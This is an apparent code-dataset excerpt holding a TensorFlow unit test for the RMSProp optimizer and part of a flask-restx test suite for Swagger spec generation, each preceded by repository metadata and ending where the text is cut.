da88903d5e29230d68d861053aa1dea1432c0696

[ "Apache-2.0" ]

151

2016-11-10T09:01:15.000Z

2022-01-18T08:13:49.000Z

# Copyright 2015 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for rmsprop.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import math import numpy as np import tensorflow as tf class RMSPropOptimizerTest(tf.test.TestCase): def testWithoutMomentum(self): for dtype in [tf.half, tf.float32]: with self.test_session(): var0 = tf.Variable([1.0, 2.0], dtype=dtype) var1 = tf.Variable([3.0, 4.0], dtype=dtype) grads0 = tf.constant([0.1, 0.1], dtype=dtype) grads1 = tf.constant([0.01, 0.01], dtype=dtype) opt = tf.train.RMSPropOptimizer(learning_rate=2.0, decay=0.9, momentum=0.0, epsilon=1.0) update = opt.apply_gradients(zip([grads0, grads1], [var0, var1])) tf.initialize_all_variables().run() rms0 = opt.get_slot(var0, "rms") self.assertTrue(rms0 is not None) rms1 = opt.get_slot(var1, "rms") self.assertTrue(rms1 is not None) mom0 = opt.get_slot(var0, "momentum") self.assertTrue(mom0 is not None) mom1 = opt.get_slot(var1, "momentum") self.assertTrue(mom1 is not None) # Fetch params to validate initial values self.assertAllClose([1.0, 2.0], var0.eval()) self.assertAllClose([3.0, 4.0], var1.eval()) # Step 1: the rms accumulators where 1. So we should see a normal # update: v -= grad * learning_rate update.run() # Check the root mean square accumulators. self.assertAllCloseAccordingToType(np.array([0.901, 0.901]), rms0.eval()) self.assertAllCloseAccordingToType(np.array([0.90001, 0.90001]), rms1.eval()) # Check the parameters. self.assertAllCloseAccordingToType( np.array([1.0 - (0.1 * 2.0 / math.sqrt(0.901+1.0)), 2.0 - (0.1 * 2.0 / math.sqrt(0.901+1.0))]), var0.eval()) self.assertAllCloseAccordingToType( np.array([3.0 - (0.01 * 2.0 / math.sqrt(0.90001+1.0)), 4.0 - (0.01 * 2.0 / math.sqrt(0.90001+1.0))]), var1.eval()) # Step 2: the root mean square accumulators contain the previous update. update.run() # Check the rms accumulators. self.assertAllCloseAccordingToType( np.array([0.901*0.9+0.001, 0.901*0.9+0.001]), rms0.eval()) self.assertAllCloseAccordingToType( np.array([0.90001*0.9+1e-5, 0.90001*0.9+1e-5]), rms1.eval()) # Check the parameters. self.assertAllCloseAccordingToType( np.array([1.0 - (0.1 * 2.0 / math.sqrt(0.901+1.0)) - (0.1 * 2.0 / math.sqrt(0.901*0.9+0.001+1.0)), 2.0 - (0.1 * 2.0 / math.sqrt(0.901+1.0)) - (0.1 * 2.0 / math.sqrt(0.901*0.9+0.001+1.0))]), var0.eval()) self.assertAllCloseAccordingToType( np.array([3.0 - (0.01 * 2.0 / math.sqrt(0.90001+1.0)) - (0.01 * 2.0 / math.sqrt(0.90001*0.9+1e-5+1.0)), 4.0 - (0.01 * 2.0 / math.sqrt(0.90001+1.0)) - (0.01 * 2.0 / math.sqrt(0.90001*0.9+1e-5+1.0))]), var1.eval()) def testWithMomentum(self): for dtype in [tf.half, tf.float32]: with self.test_session(): var0 = tf.Variable([1.0, 2.0], dtype=dtype) var1 = tf.Variable([3.0, 4.0], dtype=dtype) grads0 = tf.constant([0.1, 0.1], dtype=dtype) grads1 = tf.constant([0.01, 0.01], dtype=dtype) opt = tf.train.RMSPropOptimizer(learning_rate=2.0, decay=0.9, momentum=0.5, epsilon=1e-5) update = opt.apply_gradients(zip([grads0, grads1], [var0, var1])) tf.initialize_all_variables().run() rms0 = opt.get_slot(var0, "rms") self.assertTrue(rms0 is not None) rms1 = opt.get_slot(var1, "rms") self.assertTrue(rms1 is not None) mom0 = opt.get_slot(var0, "momentum") self.assertTrue(mom0 is not None) mom1 = opt.get_slot(var1, "momentum") self.assertTrue(mom1 is not None) # Fetch params to validate initial values self.assertAllClose([1.0, 2.0], var0.eval()) self.assertAllClose([3.0, 4.0], var1.eval()) # Step 1: rms = 1, mom = 0. So we should see a normal # update: v -= grad * learning_rate update.run() # Check the root mean square accumulators. self.assertAllCloseAccordingToType(np.array([0.901, 0.901]), rms0.eval()) self.assertAllCloseAccordingToType(np.array([0.90001, 0.90001]), rms1.eval()) # Check the momentum accumulators self.assertAllCloseAccordingToType( np.array([(0.1 * 2.0 / math.sqrt(0.901+1e-5)), (0.1 * 2.0 / math.sqrt(0.901+1e-5))]), mom0.eval()) self.assertAllCloseAccordingToType( np.array([(0.01 * 2.0/ math.sqrt(0.90001+1e-5)), (0.01 * 2.0/ math.sqrt(0.90001+1e-5))]), mom1.eval()) # Check that the parameters. self.assertAllCloseAccordingToType( np.array([1.0 - (0.1 * 2.0 / math.sqrt(0.901+1e-5)), 2.0 - (0.1 * 2.0 / math.sqrt(0.901+1e-5))]), var0.eval()) self.assertAllCloseAccordingToType( np.array([3.0 - (0.01 * 2.0/ math.sqrt(0.90001+1e-5)), 4.0 - (0.01 * 2.0/ math.sqrt(0.90001+1e-5))]), var1.eval()) # Step 2: the root mean square accumulators contain the previous update. update.run() # Check the rms accumulators. self.assertAllCloseAccordingToType( np.array([0.901*0.9+0.001, 0.901*0.9+0.001]), rms0.eval()) self.assertAllCloseAccordingToType( np.array([0.90001*0.9+1e-5, 0.90001*0.9+1e-5]), rms1.eval()) self.assertAllCloseAccordingToType( np.array([0.5 * (0.1 * 2.0 / math.sqrt(0.901+1e-5)) + (0.1*2.0/math.sqrt(0.901*0.9+0.001+1e-5)), 0.5 * (0.1 * 2.0 / math.sqrt(0.901+1e-5)) + (0.1*2.0/math.sqrt(0.901*0.9+0.001+1e-5))]), mom0.eval()) self.assertAllCloseAccordingToType( np.array([0.5 * (0.01 * 2.0/ math.sqrt(0.90001+1e-5)) + (0.01 * 2.0 /math.sqrt(0.90001*0.9+2e-5)), 0.5 * (0.01 * 2.0/ math.sqrt(0.90001+1e-5)) + (0.01 * 2.0 / math.sqrt(0.90001*0.9+2e-5))]), mom1.eval()) # Check the parameters. self.assertAllCloseAccordingToType( np.array([1.0 - (0.1 * 2.0 / math.sqrt(0.901+1e-5)) - (0.5 * ( 0.1 * 2.0 / math.sqrt(0.901+1e-5)) +( 0.1 * 2.0 / math.sqrt(0.901*0.9+0.001+1e-5))), 2.0 - (0.1 * 2.0 / math.sqrt(0.901+1e-5)) - (0.5 * ( 0.1 * 2.0 / math.sqrt(0.901+1e-5)) +( 0.1 * 2.0 / math.sqrt(0.901*0.9+0.001+1e-5))) ]), var0.eval()) self.assertAllCloseAccordingToType( np.array([3.0 - (0.01 * 2.0 / math.sqrt(0.90001+1e-5)) - (0.5 *(0.01 * 2.0/ math.sqrt(0.90001+1e-5)) + (0.01 * 2.0 /math.sqrt(0.90001*0.9+2e-5))), 4.0 - (0.01 * 2.0 / math.sqrt(0.90001+1e-5)) - (0.5 *(0.01 * 2.0/ math.sqrt(0.90001+1e-5)) + (0.01 * 2.0 / math.sqrt(0.90001*0.9+2e-5)))]), var1.eval()) if __name__ == "__main__": tf.test.main()

44.820106

80

0.523551

1,207

8,471

3.639602

0.135874

0.023674

0.054632

0.091054

0.818803

0.806966

0.79786

0.776007

0

0.142246

0.310353

8,471

188

81

45.058511

0.609723

0.157833

0

0.623188

0

0.007326

0

0.231884

1

0.014493

false

0

0.043478

0

0.065217

0.007246

0

null

0

1

0

null

0

6

ed42e638f862cac83e40b7017b61c738b23a506d

105,347

py

Python

tests/test_swagger.py

james-powis/flask-restx

ee1fc4ceb93887065b4785f14dadd70d7bc2efe7

[ "BSD-3-Clause" ]

null

tests/test_swagger.py

james-powis/flask-restx

ee1fc4ceb93887065b4785f14dadd70d7bc2efe7

[ "BSD-3-Clause" ]

1

2020-02-12T11:22:16.000Z

tests/test_swagger.py

james-powis/flask-restx

ee1fc4ceb93887065b4785f14dadd70d7bc2efe7

[ "BSD-3-Clause" ]

null

# -*- coding: utf-8 -*- from __future__ import unicode_literals import pytest from textwrap import dedent from flask import url_for, Blueprint from werkzeug.datastructures import FileStorage import flask_restx as restx from flask_restx import inputs class SwaggerTest(object): def test_specs_endpoint(self, api, client): data = client.get_specs("") assert data["swagger"] == "2.0" assert data["basePath"] == "/" assert data["produces"] == ["application/json"] assert data["consumes"] == ["application/json"] assert data["paths"] == {} assert "info" in data @pytest.mark.api(prefix="/api") def test_specs_endpoint_with_prefix(self, api, client): data = client.get_specs("/api") assert data["swagger"] == "2.0" assert data["basePath"] == "/api" assert data["produces"] == ["application/json"] assert data["consumes"] == ["application/json"] assert data["paths"] == {} assert "info" in data def test_specs_endpoint_produces(self, api, client): def output_xml(data, code, headers=None): pass api.representations["application/xml"] = output_xml data = client.get_specs() assert len(data["produces"]) == 2 assert "application/json" in data["produces"] assert "application/xml" in data["produces"] def test_specs_endpoint_info(self, app, client): api = restx.Api( version="1.0", title="My API", description="This is a testing API", terms_url="http://somewhere.com/terms/", contact="Support", contact_url="http://support.somewhere.com", contact_email="contact@somewhere.com", license="Apache 2.0", license_url="http://www.apache.org/licenses/LICENSE-2.0.html", ) api.init_app(app) data = client.get_specs() assert data["swagger"] == "2.0" assert data["basePath"] == "/" assert data["produces"] == ["application/json"] assert data["paths"] == {} assert "info" in data assert data["info"]["title"] == "My API" assert data["info"]["version"] == "1.0" assert data["info"]["description"] == "This is a testing API" assert data["info"]["termsOfService"] == "http://somewhere.com/terms/" assert data["info"]["contact"] == { "name": "Support", "url": "http://support.somewhere.com", "email": "contact@somewhere.com", } assert data["info"]["license"] == { "name": "Apache 2.0", "url": "http://www.apache.org/licenses/LICENSE-2.0.html", } def test_specs_endpoint_info_delayed(self, app, client): api = restx.Api(version="1.0") api.init_app( app, title="My API", description="This is a testing API", terms_url="http://somewhere.com/terms/", contact="Support", contact_url="http://support.somewhere.com", contact_email="contact@somewhere.com", license="Apache 2.0", license_url="http://www.apache.org/licenses/LICENSE-2.0.html", ) data = client.get_specs() assert data["swagger"] == "2.0" assert data["basePath"] == "/" assert data["produces"] == ["application/json"] assert data["paths"] == {} assert "info" in data assert data["info"]["title"] == "My API" assert data["info"]["version"] == "1.0" assert data["info"]["description"] == "This is a testing API" assert data["info"]["termsOfService"] == "http://somewhere.com/terms/" assert data["info"]["contact"] == { "name": "Support", "url": "http://support.somewhere.com", "email": "contact@somewhere.com", } assert data["info"]["license"] == { "name": "Apache 2.0", "url": "http://www.apache.org/licenses/LICENSE-2.0.html", } def test_specs_endpoint_info_callable(self, app, client): api = restx.Api( version=lambda: "1.0", title=lambda: "My API", description=lambda: "This is a testing API", terms_url=lambda: "http://somewhere.com/terms/", contact=lambda: "Support", contact_url=lambda: "http://support.somewhere.com", contact_email=lambda: "contact@somewhere.com", license=lambda: "Apache 2.0", license_url=lambda: "http://www.apache.org/licenses/LICENSE-2.0.html", ) api.init_app(app) data = client.get_specs() assert data["swagger"] == "2.0" assert data["basePath"] == "/" assert data["produces"] == ["application/json"] assert data["paths"] == {} assert "info" in data assert data["info"]["title"] == "My API" assert data["info"]["version"] == "1.0" assert data["info"]["description"] == "This is a testing API" assert data["info"]["termsOfService"] == "http://somewhere.com/terms/" assert data["info"]["contact"] == { "name": "Support", "url": "http://support.somewhere.com", "email": "contact@somewhere.com", } assert data["info"]["license"] == { "name": "Apache 2.0", "url": "http://www.apache.org/licenses/LICENSE-2.0.html", } def test_specs_endpoint_no_host(self, app, client): restx.Api(app) data = client.get_specs("") assert "host" not in data assert data["basePath"] == "/" @pytest.mark.options(server_name="api.restx.org") def test_specs_endpoint_host(self, app, client): # app.config['SERVER_NAME'] = 'api.restx.org' restx.Api(app) data = client.get_specs("") assert data["host"] == "api.restx.org" assert data["basePath"] == "/" @pytest.mark.options(server_name="api.restx.org") def test_specs_endpoint_host_with_url_prefix(self, app, client): blueprint = Blueprint("api", __name__, url_prefix="/api/1") restx.Api(blueprint) app.register_blueprint(blueprint) data = client.get_specs("/api/1") assert data["host"] == "api.restx.org" assert data["basePath"] == "/api/1" @pytest.mark.options(server_name="restx.org") def test_specs_endpoint_host_and_subdomain(self, app, client): blueprint = Blueprint("api", __name__, subdomain="api") restx.Api(blueprint) app.register_blueprint(blueprint) data = client.get_specs(base_url="http://api.restx.org") assert data["host"] == "api.restx.org" assert data["basePath"] == "/" def test_specs_endpoint_tags_short(self, app, client): restx.Api(app, tags=["tag-1", "tag-2", "tag-3"]) data = client.get_specs("") assert data["tags"] == [{"name": "tag-1"}, {"name": "tag-2"}, {"name": "tag-3"}] def test_specs_endpoint_tags_tuple(self, app, client): restx.Api( app, tags=[("tag-1", "Tag 1"), ("tag-2", "Tag 2"), ("tag-3", "Tag 3"),] ) data = client.get_specs("") assert data["tags"] == [ {"name": "tag-1", "description": "Tag 1"}, {"name": "tag-2", "description": "Tag 2"}, {"name": "tag-3", "description": "Tag 3"}, ] def test_specs_endpoint_tags_dict(self, app, client): restx.Api( app, tags=[ {"name": "tag-1", "description": "Tag 1"}, {"name": "tag-2", "description": "Tag 2"}, {"name": "tag-3", "description": "Tag 3"}, ], ) data = client.get_specs("") assert data["tags"] == [ {"name": "tag-1", "description": "Tag 1"}, {"name": "tag-2", "description": "Tag 2"}, {"name": "tag-3", "description": "Tag 3"}, ] @pytest.mark.api(tags=["ns", "tag"]) def test_specs_endpoint_tags_namespaces(self, api, client): api.namespace("ns", "Description") data = client.get_specs("") assert data["tags"] == [{"name": "ns"}, {"name": "tag"}] def test_specs_endpoint_invalid_tags(self, app, client): api = restx.Api(app, tags=[{"description": "Tag 1"}]) client.get_specs("", status=500) assert list(api.__schema__.keys()) == ["error"] def test_specs_endpoint_default_ns_with_resources(self, app, client): restx.Api(app) data = client.get_specs("") assert data["tags"] == [] def test_specs_endpoint_default_ns_without_resources(self, app, client): api = restx.Api(app) @api.route("/test", endpoint="test") class TestResource(restx.Resource): def get(self): return {} data = client.get_specs("") assert data["tags"] == [{"name": "default", "description": "Default namespace"}] def test_specs_endpoint_default_ns_with_specified_ns(self, app, client): api = restx.Api(app) ns = api.namespace("ns", "Test namespace") @ns.route("/test2", endpoint="test2") @api.route("/test", endpoint="test") class TestResource(restx.Resource): def get(self): return {} data = client.get_specs("") assert data["tags"] == [ {"name": "default", "description": "Default namespace"}, {"name": "ns", "description": "Test namespace"}, ] def test_specs_endpoint_specified_ns_without_default_ns(self, app, client): api = restx.Api(app) ns = api.namespace("ns", "Test namespace") @ns.route("/", endpoint="test2") class TestResource(restx.Resource): def get(self): return {} data = client.get_specs("") assert data["tags"] == [{"name": "ns", "description": "Test namespace"}] def test_specs_endpoint_namespace_without_description(self, app, client): api = restx.Api(app) ns = api.namespace("ns") @ns.route("/test", endpoint="test") class TestResource(restx.Resource): def get(self): return {} data = client.get_specs("") assert data["tags"] == [{"name": "ns"}] def test_specs_endpoint_namespace_all_resources_hidden(self, app, client): api = restx.Api(app) ns = api.namespace("ns") @ns.route("/test", endpoint="test", doc=False) class TestResource(restx.Resource): def get(self): return {} @ns.route("/test2", endpoint="test2") @ns.hide class TestResource2(restx.Resource): def get(self): return {} @ns.route("/test3", endpoint="test3") @ns.doc(False) class TestResource3(restx.Resource): def get(self): return {} data = client.get_specs("") assert data["tags"] == [] def test_specs_authorizations(self, app, client): authorizations = {"apikey": {"type": "apiKey", "in": "header", "name": "X-API"}} restx.Api(app, authorizations=authorizations) data = client.get_specs() assert "securityDefinitions" in data assert data["securityDefinitions"] == authorizations @pytest.mark.api(prefix="/api") def test_minimal_documentation(self, api, client): ns = api.namespace("ns", "Test namespace") @ns.route("/", endpoint="test") class TestResource(restx.Resource): def get(self): return {} data = client.get_specs("/api") paths = data["paths"] assert len(paths.keys()) == 1 assert "/ns/" in paths assert "get" in paths["/ns/"] op = paths["/ns/"]["get"] assert op["tags"] == ["ns"] assert op["operationId"] == "get_test_resource" assert "parameters" not in op assert "summary" not in op assert "description" not in op assert op["responses"] == {"200": {"description": "Success",}} assert url_for("api.test") == "/api/ns/" @pytest.mark.api(prefix="/api", version="1.0") def test_default_ns_resource_documentation(self, api, client): @api.route("/test/", endpoint="test") class TestResource(restx.Resource): def get(self): return {} data = client.get_specs("/api") paths = data["paths"] assert len(paths.keys()) == 1 assert "/test/" in paths assert "get" in paths["/test/"] op = paths["/test/"]["get"] assert op["tags"] == ["default"] assert op["responses"] == {"200": {"description": "Success",}} assert len(data["tags"]) == 1 tag = data["tags"][0] assert tag["name"] == "default" assert tag["description"] == "Default namespace" assert url_for("api.test") == "/api/test/" @pytest.mark.api(default="site", default_label="Site namespace") def test_default_ns_resource_documentation_with_override(self, api, client): @api.route("/test/", endpoint="test") class TestResource(restx.Resource): def get(self): return {} data = client.get_specs() paths = data["paths"] assert len(paths.keys()) == 1 assert "/test/" in paths assert "get" in paths["/test/"] op = paths["/test/"]["get"] assert op["tags"] == ["site"] assert op["responses"] == {"200": {"description": "Success",}} assert len(data["tags"]) == 1 tag = data["tags"][0] assert tag["name"] == "site" assert tag["description"] == "Site namespace" assert url_for("api.test") == "/test/" @pytest.mark.api(prefix="/api") def test_ns_resource_documentation(self, api, client): ns = api.namespace("ns", "Test namespace") @ns.route("/", endpoint="test") class TestResource(restx.Resource): def get(self): return {} data = client.get_specs("/api") paths = data["paths"] assert len(paths.keys()) == 1 assert "/ns/" in paths assert "get" in paths["/ns/"] op = paths["/ns/"]["get"] assert op["tags"] == ["ns"] assert op["responses"] == {"200": {"description": "Success",}} assert "parameters" not in op assert len(data["tags"]) == 1 tag = data["tags"][-1] assert tag["name"] == "ns" assert tag["description"] == "Test namespace" assert url_for("api.test") == "/api/ns/" def test_ns_resource_documentation_lazy(self, app, client): api = restx.Api() ns = api.namespace("ns", "Test namespace") @ns.route("/", endpoint="test") class TestResource(restx.Resource): def get(self): return {} api.init_app(app) data = client.get_specs() paths = data["paths"] assert len(paths.keys()) == 1 assert "/ns/" in paths assert "get" in paths["/ns/"] op = paths["/ns/"]["get"] assert op["tags"] == ["ns"] assert op["responses"] == {"200": {"description": "Success",}} assert len(data["tags"]) == 1 tag = data["tags"][-1] assert tag["name"] == "ns" assert tag["description"] == "Test namespace" assert url_for("test") == "/ns/" def test_methods_docstring_to_summary(self, api, client): @api.route("/test/", endpoint="test") class TestResource(restx.Resource): def get(self): """ GET operation """ return {} def post(self): """POST operation. Should be ignored """ return {} def put(self): """PUT operation. Should be ignored""" return {} def delete(self): """ DELETE operation. Should be ignored. """ return {} data = client.get_specs() path = data["paths"]["/test/"] assert len(path.keys()) == 4 for method in path.keys(): operation = path[method] assert method in ("get", "post", "put", "delete") assert operation["summary"] == "{0} operation".format(method.upper()) assert operation["operationId"] == "{0}_test_resource".format( method.lower() ) # assert operation['parameters'] == [] def test_path_parameter_no_type(self, api, client): @api.route("/id/<id>/", endpoint="by-id") class ByIdResource(restx.Resource): def get(self, id): return {} data = client.get_specs() assert "/id/{id}/" in data["paths"] path = data["paths"]["/id/{id}/"] assert len(path["parameters"]) == 1 parameter = path["parameters"][0] assert parameter["name"] == "id" assert parameter["type"] == "string" assert parameter["in"] == "path" assert parameter["required"] is True def test_path_parameter_with_type(self, api, client): @api.route("/name/<int:age>/", endpoint="by-name") class ByNameResource(restx.Resource): def get(self, age): return {} data = client.get_specs() assert "/name/{age}/" in data["paths"] path = data["paths"]["/name/{age}/"] assert len(path["parameters"]) == 1 parameter = path["parameters"][0] assert parameter["name"] == "age" assert parameter["type"] == "integer" assert parameter["in"] == "path" assert parameter["required"] is True def test_path_parameter_with_type_with_argument(self, api, client): @api.route("/name/<string(length=2):id>/", endpoint="by-name") class ByNameResource(restx.Resource): def get(self, id): return {} data = client.get_specs() assert "/name/{id}/" in data["paths"] path = data["paths"]["/name/{id}/"] assert len(path["parameters"]) == 1 parameter = path["parameters"][0] assert parameter["name"] == "id" assert parameter["type"] == "string" assert parameter["in"] == "path" assert parameter["required"] is True def test_path_parameter_with_explicit_details(self, api, client): @api.route( "/name/<int:age>/", endpoint="by-name", doc={"params": {"age": {"description": "An age"}}}, ) class ByNameResource(restx.Resource): def get(self, age): return {} data = client.get_specs() assert "/name/{age}/" in data["paths"] path = data["paths"]["/name/{age}/"] assert len(path["parameters"]) == 1 parameter = path["parameters"][0] assert parameter["name"] == "age" assert parameter["type"] == "integer" assert parameter["in"] == "path" assert parameter["required"] is True assert parameter["description"] == "An age" def test_path_parameter_with_decorator_details(self, api, client): @api.route("/name/<int:age>/") @api.param("age", "An age") class ByNameResource(restx.Resource): def get(self, age): return {} data = client.get_specs() assert "/name/{age}/" in data["paths"] path = data["paths"]["/name/{age}/"] assert len(path["parameters"]) == 1 parameter = path["parameters"][0] assert parameter["name"] == "age" assert parameter["type"] == "integer" assert parameter["in"] == "path" assert parameter["required"] is True assert parameter["description"] == "An age" def test_expect_parser(self, api, client): parser = api.parser() parser.add_argument("param", type=int, help="Some param") parser.add_argument("jsonparam", type=str, location="json", help="Some param") @api.route("/with-parser/", endpoint="with-parser") class WithParserResource(restx.Resource): @api.expect(parser) def get(self): return {} data = client.get_specs() assert "/with-parser/" in data["paths"] op = data["paths"]["/with-parser/"]["get"] assert len(op["parameters"]) == 2 parameter = [o for o in op["parameters"] if o["in"] == "query"][0] assert parameter["name"] == "param" assert parameter["type"] == "integer" assert parameter["in"] == "query" assert parameter["description"] == "Some param" parameter = [o for o in op["parameters"] if o["in"] == "body"][0] assert parameter["name"] == "payload" assert parameter["required"] assert parameter["in"] == "body" assert parameter["schema"]["properties"]["jsonparam"]["type"] == "string" def test_expect_parser_on_class(self, api, client): parser = api.parser() parser.add_argument("param", type=int, help="Some param") @api.route("/with-parser/", endpoint="with-parser") @api.expect(parser) class WithParserResource(restx.Resource): def get(self): return {} data = client.get_specs() assert "/with-parser/" in data["paths"] path = data["paths"]["/with-parser/"] assert len(path["parameters"]) == 1 parameter = path["parameters"][0] assert parameter["name"] == "param" assert parameter["type"] == "integer" assert parameter["in"] == "query" assert parameter["description"] == "Some param" def test_method_parser_on_class(self, api, client): parser = api.parser() parser.add_argument("param", type=int, help="Some param") @api.route("/with-parser/", endpoint="with-parser") @api.doc(get={"expect": parser}) class WithParserResource(restx.Resource): def get(self): return {} def post(self): return {} data = client.get_specs() assert "/with-parser/" in data["paths"] op = data["paths"]["/with-parser/"]["get"] assert len(op["parameters"]) == 1 parameter = op["parameters"][0] assert parameter["name"] == "param" assert parameter["type"] == "integer" assert parameter["in"] == "query" assert parameter["description"] == "Some param" op = data["paths"]["/with-parser/"]["post"] assert "parameters" not in op def test_parser_parameters_override(self, api, client): parser = api.parser() parser.add_argument("param", type=int, help="Some param") @api.route("/with-parser/", endpoint="with-parser") class WithParserResource(restx.Resource): @api.expect(parser) @api.doc(params={"param": {"description": "New description"}}) def get(self): return {} data = client.get_specs() assert "/with-parser/" in data["paths"] op = data["paths"]["/with-parser/"]["get"] assert len(op["parameters"]) == 1 parameter = op["parameters"][0] assert parameter["name"] == "param" assert parameter["type"] == "integer" assert parameter["in"] == "query" assert parameter["description"] == "New description" def test_parser_parameter_in_form(self, api, client): parser = api.parser() parser.add_argument("param", type=int, help="Some param", location="form") @api.route("/with-parser/", endpoint="with-parser") class WithParserResource(restx.Resource): @api.expect(parser) def get(self): return {} data = client.get_specs() assert "/with-parser/" in data["paths"] op = data["paths"]["/with-parser/"]["get"] assert len(op["parameters"]) == 1 parameter = op["parameters"][0] assert parameter["name"] == "param" assert parameter["type"] == "integer" assert parameter["in"] == "formData" assert parameter["description"] == "Some param" assert op["consumes"] == [ "application/x-www-form-urlencoded", "multipart/form-data", ] def test_parser_parameter_in_files(self, api, client): parser = api.parser() parser.add_argument("in_files", type=FileStorage, location="files") @api.route("/with-parser/", endpoint="with-parser") class WithParserResource(restx.Resource): @api.expect(parser) def get(self): return {} data = client.get_specs() assert "/with-parser/" in data["paths"] op = data["paths"]["/with-parser/"]["get"] assert len(op["parameters"]) == 1 parameter = op["parameters"][0] assert parameter["name"] == "in_files" assert parameter["type"] == "file" assert parameter["in"] == "formData" assert op["consumes"] == ["multipart/form-data"] def test_parser_parameter_in_files_on_class(self, api, client): parser = api.parser() parser.add_argument("in_files", type=FileStorage, location="files") @api.route("/with-parser/", endpoint="with-parser") @api.expect(parser) class WithParserResource(restx.Resource): def get(self): return {} data = client.get_specs() assert "/with-parser/" in data["paths"] path = data["paths"]["/with-parser/"] assert len(path["parameters"]) == 1 parameter = path["parameters"][0] assert parameter["name"] == "in_files" assert parameter["type"] == "file" assert parameter["in"] == "formData" assert "consumes" not in path op = path["get"] assert "consumes" in op assert op["consumes"] == ["multipart/form-data"] def test_explicit_parameters(self, api, client): @api.route("/name/<int:age>/", endpoint="by-name") class ByNameResource(restx.Resource): @api.doc( params={ "q": { "type": "string", "in": "query", "description": "A query string", } } ) def get(self, age): return {} data = client.get_specs() assert "/name/{age}/" in data["paths"] path = data["paths"]["/name/{age}/"] assert len(path["parameters"]) == 1 parameter = path["parameters"][0] assert parameter["name"] == "age" assert parameter["type"] == "integer" assert parameter["in"] == "path" assert parameter["required"] is True op = path["get"] assert len(op["parameters"]) == 1 parameter = op["parameters"][0] assert parameter["name"] == "q" assert parameter["type"] == "string" assert parameter["in"] == "query" assert parameter["description"] == "A query string" def test_explicit_parameters_with_decorator(self, api, client): @api.route("/name/") class ByNameResource(restx.Resource): @api.param("q", "A query string", type="string", _in="formData") def get(self, age): return {} data = client.get_specs() assert "/name/" in data["paths"] op = data["paths"]["/name/"]["get"] assert len(op["parameters"]) == 1 parameter = op["parameters"][0] assert parameter["name"] == "q" assert parameter["type"] == "string" assert parameter["in"] == "formData" assert parameter["description"] == "A query string" def test_class_explicit_parameters(self, api, client): @api.route( "/name/<int:age>/", endpoint="by-name", doc={ "params": { "q": { "type": "string", "in": "query", "description": "A query string", } } }, ) class ByNameResource(restx.Resource): def get(self, age): return {} data = client.get_specs() assert "/name/{age}/" in data["paths"] path = data["paths"]["/name/{age}/"] assert len(path["parameters"]) == 2 by_name = dict((p["name"], p) for p in path["parameters"]) parameter = by_name["age"] assert parameter["name"] == "age" assert parameter["type"] == "integer" assert parameter["in"] == "path" assert parameter["required"] is True parameter = by_name["q"] assert parameter["name"] == "q" assert parameter["type"] == "string" assert parameter["in"] == "query" assert parameter["description"] == "A query string" def test_explicit_parameters_override(self, api, client): @api.route( "/name/<int:age>/", endpoint="by-name", doc={ "params": { "q": { "type": "string", "in": "query", "description": "Overriden description", }, "age": {"description": "An age"}, } }, ) class ByNameResource(restx.Resource): @api.doc(params={"q": {"description": "A query string"}}) def get(self, age): return {} def post(self, age): pass data = client.get_specs() assert "/name/{age}/" in data["paths"] path = data["paths"]["/name/{age}/"] assert len(path["parameters"]) == 1 by_name = dict((p["name"], p) for p in path["parameters"]) parameter = by_name["age"] assert parameter["name"] == "age" assert parameter["type"] == "integer" assert parameter["in"] == "path" assert parameter["required"] is True assert parameter["description"] == "An age" # Don't duplicate parameters assert "q" not in by_name get = data["paths"]["/name/{age}/"]["get"] assert len(get["parameters"]) == 1 parameter = get["parameters"][0] assert parameter["name"] == "q" assert parameter["type"] == "string" assert parameter["in"] == "query" assert parameter["description"] == "A query string" post = data["paths"]["/name/{age}/"]["post"] assert len(post["parameters"]) == 1 parameter = post["parameters"][0] assert parameter["name"] == "q" assert parameter["type"] == "string" assert parameter["in"] == "query" assert parameter["description"] == "Overriden description" def test_explicit_parameters_override_by_method(self, api, client): @api.route( "/name/<int:age>/", endpoint="by-name", doc={ "get": { "params": { "q": { "type": "string", "in": "query", "description": "A query string", } } }, "params": {"age": {"description": "An age"}}, }, ) class ByNameResource(restx.Resource): @api.doc(params={"age": {"description": "Overriden"}}) def get(self, age): return {} def post(self, age): return {} data = client.get_specs() assert "/name/{age}/" in data["paths"] path = data["paths"]["/name/{age}/"] assert "parameters" not in path get = path["get"] assert len(get["parameters"]) == 2 by_name = dict((p["name"], p) for p in get["parameters"]) parameter = by_name["age"] assert parameter["name"] == "age" assert parameter["type"] == "integer" assert parameter["in"] == "path" assert parameter["required"] is True assert parameter["description"] == "Overriden" parameter = by_name["q"] assert parameter["name"] == "q" assert parameter["type"] == "string" assert parameter["in"] == "query" assert parameter["description"] == "A query string" post = path["post"] assert len(post["parameters"]) == 1 by_name = dict((p["name"], p) for p in post["parameters"]) parameter = by_name["age"] assert parameter["name"] == "age" assert parameter["type"] == "integer" assert parameter["in"] == "path" assert parameter["required"] is True assert parameter["description"] == "An age" def test_parameters_cascading_with_apidoc_false(self, api, client): @api.route( "/name/<int:age>/", endpoint="by-name", doc={ "get": { "params": { "q": { "type": "string", "in": "query", "description": "A query string", } } }, "params": {"age": {"description": "An age"}}, }, ) class ByNameResource(restx.Resource): @api.doc(params={"age": {"description": "Overriden"}}) def get(self, age): return {} @api.doc(False) def post(self, age): return {} data = client.get_specs() assert "/name/{age}/" in data["paths"] path = data["paths"]["/name/{age}/"] assert "parameters" not in path get = path["get"] assert len(get["parameters"]) == 2 by_name = dict((p["name"], p) for p in get["parameters"]) assert "age" in by_name assert "q" in by_name assert "post" not in path def test_explicit_parameters_desription_shortcut(self, api, client): @api.route( "/name/<int:age>/", endpoint="by-name", doc={ "get": {"params": {"q": "A query string",}}, "params": {"age": "An age"}, }, ) class ByNameResource(restx.Resource): @api.doc(params={"age": "Overriden"}) def get(self, age): return {} def post(self, age): return {} data = client.get_specs() assert "/name/{age}/" in data["paths"] path = data["paths"]["/name/{age}/"] assert "parameters" not in path get = path["get"] assert len(get["parameters"]) == 2 by_name = dict((p["name"], p) for p in get["parameters"]) parameter = by_name["age"] assert parameter["name"] == "age" assert parameter["type"] == "integer" assert parameter["in"] == "path" assert parameter["required"] is True assert 